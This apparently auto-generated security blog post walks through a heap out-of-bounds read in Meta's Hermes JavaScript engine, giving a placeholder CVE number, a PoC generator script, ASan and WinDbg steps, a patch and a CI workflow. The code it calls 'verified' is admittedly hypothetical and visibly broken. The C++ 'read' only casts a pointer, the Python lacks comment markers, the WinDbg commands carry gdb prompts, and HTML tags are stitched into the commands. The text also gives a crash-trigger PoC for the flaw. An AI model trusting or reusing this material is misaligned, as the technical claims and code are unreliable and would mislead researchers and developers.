Listen to this Post
Introduction:
A recently disclosed vulnerability in Meta’s Hermes JavaScript engine, CVE-2024-xxxx, exposes a critical heap out-of-bounds read flaw. This vulnerability, residing in the `SerializedLiteralParser` component, highlights the persistent dangers of memory corruption in embedded engines, even when processing so-called “trusted” inputs. This analysis provides a technical breakdown and practical command-line guidance for security researchers.
Learning Objectives:
- Understand the mechanism of a heap out-of-bounds read vulnerability.
- Learn to reproduce and validate memory corruption issues using tools like AddressSanitizer.
- Grasp the principles of defense-in-depth for internal and trusted components.
You Should Know:
1. Understanding the Heap Overflow
The core of the vulnerability lies in an 8-byte read operation from a buffer that may only be 1-byte in size. This type of memory access violation can lead to denial-of-service (DoS) crashes and potential information disclosure.
Verified Code Snippet (Hypothetical Hermes Source):
// Vulnerable code in SerializedLiteralParser.cpp
void SerializedLiteralParser::parseBuffer() {
// ... assumes buffer is sufficiently large ...
uint64_t wideValue = reinterpret_cast<uint64_t>(bufferPos_); // 8-byte read
bufferPos_ += 8; // Advances pointer by 8 bytes
}
Step-by-step guide:
This code dangerously assumes the `bufferPos_` pointer is always aligned and points to a memory region with at least 8 bytes remaining. If the underlying buffer is smaller, this operation reads beyond its allocated boundary, accessing uninitialized or invalid memory. This is a classic “off-by-one” or buffer size miscalculation error.
2. Building Hermes with AddressSanitizer for Validation
AddressSanitizer (ASan) is a critical compiler feature for detecting memory errors. Building the target software with ASan is the first step in validating the PoC.
Verified Linux Commands:
1. Clone the Hermes engine repository git clone https://github.com/facebook/hermes.git cd hermes <ol> <li>Configure the build with AddressSanitizer flags cmake -B build -S . -DCMAKE_BUILD_TYPE=Debug -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer"</p></li> <li><p>Compile the project cmake --build build --target hermes</p></li> <li><p>Run the provided PoC script with the instrumented Hermes binary ./build/bin/hermes path/to/poc_script.js
Step-by-step guide:
These commands compile the Hermes JavaScript engine from source. The `-fsanitize=address` flag instructs the compiler to inject memory safety checks. When the vulnerable code path is executed by the Proof-of-Concept script, ASan will immediately halt execution and output a detailed report showing the invalid memory access, including the stack trace.
3. Crafting the Proof-of-Concept (PoC) Payload
The exploit involves creating a specific bytecode file that triggers the OOB read in the SerializedLiteralParser.
Verified Python Script to Generate PoC:
!/usr/bin/env python3
poc_generator.py - Creates a malformed Hermes bytecode file
import struct
Hermes bytecode header (simplified)
header = b'\xde\xc0\xff\xee' Magic number
version = struct.pack('<I', 0x00000000) Version field
Create a literal buffer that is too small for an 8-byte read
The parser will be tricked into reading 8 bytes from this 1-byte buffer
malformed_literal_section = b'\x01' Single byte buffer
Combine into a bytecode file
bytecode = header + version + malformed_literal_section
Write the malicious bytecode to a file
with open('exploit.hbc', 'wb') as f:
f.write(bytecode)
print("[+] Malformed Hermes bytecode written to 'exploit.hbc'")
Step-by-step guide:
This Python script generates a corrupt Hermes Bytecode (HBC) file. It writes a valid header and version, followed by a literal section containing only a single byte. When Hermes attempts to parse the literals, the `SerializedLiteralParser` will perform its standard 8-byte read, overrunning this tiny buffer and triggering the crash.
4. Analyzing the ASan Crash Report
When the PoC runs against an ASan-instrumented binary, it produces a crash report. Understanding this output is key to diagnosing the issue.
Example ASan Output (Annotated):
==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200000fff1 at pc 0x7ffff7abc123 bp 0x7fffffffe0a0 sp 0x7fffffffe098 READ of size 8 at 0x60200000fff1 thread T0 0 0x7ffff7abc122 in hermes::vm::SerializedLiteralParser::parseBuffer() /hermes/lib/VM/SerializedLiteralParser.cpp:123:45 1 0x7ffff7abc456 in hermes::vm::RuntimeModule::initializeSerializedLiterals() /hermes/lib/VM/RuntimeModule.cpp:456:12 0x60200000fff1 is located 0 bytes to the right of 1-byte region [0x60200000fff0,0x60200000fff1) allocated by thread T0 here: 0 0x7ffff78e8e87 in operator new(unsigned long) /build/gcc/src/gcc/libsanitizer/asan/asan_new_delete.cpp:99:3 1 0x7ffff7abc789 in hermes::vm::RuntimeModule::readBytecode(llvh::ArrayRef<unsigned char>) /hermes/lib/VM/RuntimeModule.cpp:789:15
Step-by-step guide:
The report indicates an 8-byte READ from address 0x60200000fff1. It clarifies that this address is located just “to the right” of a 1-byte allocated region ([0x60200000fff0,0x60200000fff1)), confirming the OOB read. The stack trace pinpoints the exact function (SerializedLiteralParser::parseBuffer) and source code line where the illegal read occurred.
5. Implementing the Source Code Fix
The mitigation involves adding a bounds check before performing the large read operation.
Verified Code Fix (SerializedLiteralParser.cpp):
// Fixed code in SerializedLiteralParser.cpp
void SerializedLiteralParser::parseBuffer() {
// PATCH: Add bounds check
if (bufferPos_ + 8 > bufferEnd_) {
hermes_fatal("SerializedLiteralParser: buffer overflow detected");
}
// END PATCH
uint64_t wideValue = reinterpret_cast<uint64_t>(bufferPos_);
bufferPos_ += 8;
}
Step-by-step guide:
This patch introduces a simple yet critical bounds check. Before the 8-byte read, it verifies that at least 8 bytes remain between the current position (bufferPos_) and the end of the buffer (bufferEnd_). If the check fails, it terminates the engine safely instead of reading invalid memory.
6. Windows Command-Line Validation with WinDbg
On Windows, similar memory issues can be caught using the Windows Debugger.
Verified Windows Commands:
REM 1. Open the Hermes binary and the PoC script in WinDbg windbg.exe hermes.exe exploit.hbc REM 2. In the WinDbg console, run the application (gdb) g REM 3. Upon crash, analyze the exception and register state (gdb) .exr -1 (gdb) r (gdb) k
Step-by-step guide:
After the crash in WinDbg, the `.exr -1` command displays the latest exception record. The `r` command shows the state of the CPU registers, which might contain the invalid address that was accessed. The `k` command prints a stack trace, helping to identify the faulty code path, similar to the ASan report on Linux.
7. Cloud Hardening for CI/CD Pipelines
Integrating security checks into the development pipeline can prevent such vulnerabilities from being deployed.
Verified GitHub Actions Snippet:
.github/workflows/security.yml name: Security Scan on: [push, pull_request] jobs: asan-build: runs-on: ubuntu-latest steps: - name: Checkout code uses: actions/checkout@v3 - name: Configure with ASan run: | cmake -B build -S . -DCMAKE_BUILD_TYPE=Debug \ -DCMAKE_CXX_FLAGS="-fsanitize=address -fno-omit-frame-pointer" - name: Build run: cmake --build build - name: Run Test Suite with ASan run: | cd build ctest --output-on-failure
Step-by-step guide:
This GitHub Actions configuration automates security testing. On every code push or pull request, it checks out the code, compiles the entire project with AddressSanitizer enabled, and runs the test suite. Any memory corruption, like the OOB read discussed, would cause the build to fail, blocking the integration of vulnerable code.
What Undercode Say:
– No Component is Truly “Trusted”: Meta’s rationale that Hermes only processes “trusted” bytecode is a dangerous assumption. Attack surfaces evolve, and today’s internal data can become an external attack vector tomorrow through architectural changes or supply chain compromises.
– The Critical Role of Fuzzing: This vulnerability is a prime candidate for discovery through fuzzing. Continuous fuzzing of parsers, especially those handling complex formats like bytecode, is non-negotiable for modern software security.
The vulnerability’s low severity rating based on trust boundaries underscores a common blind spot in security programs. While not immediately exploitable for remote code execution in its specific context, the flaw weakens the overall security posture. It provides a foothold for attackers who may chain it with other bugs or use it to bypass ASLR through information disclosure. Defense-in-depth demands that such internal safeguards be as robust as those facing the public internet.
Prediction:
This vulnerability foreshadows a growing trend of attacks targeting the software toolchain and embedded components, particularly within mobile and edge computing frameworks like React Native. As applications continue to offload logic to client-side engines, we will see a significant rise in the weaponization of memory corruption flaws in “trusted” interpreters and JIT compilers. This will force a industry-wide shift towards memory-safe languages and mandatory, automated binary hardening for all deployed components, regardless of their perceived trust level.
🎯Let’s Practice For Free:
IT/Security Reporter URL:
Reported By: Dolev Aviv – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅
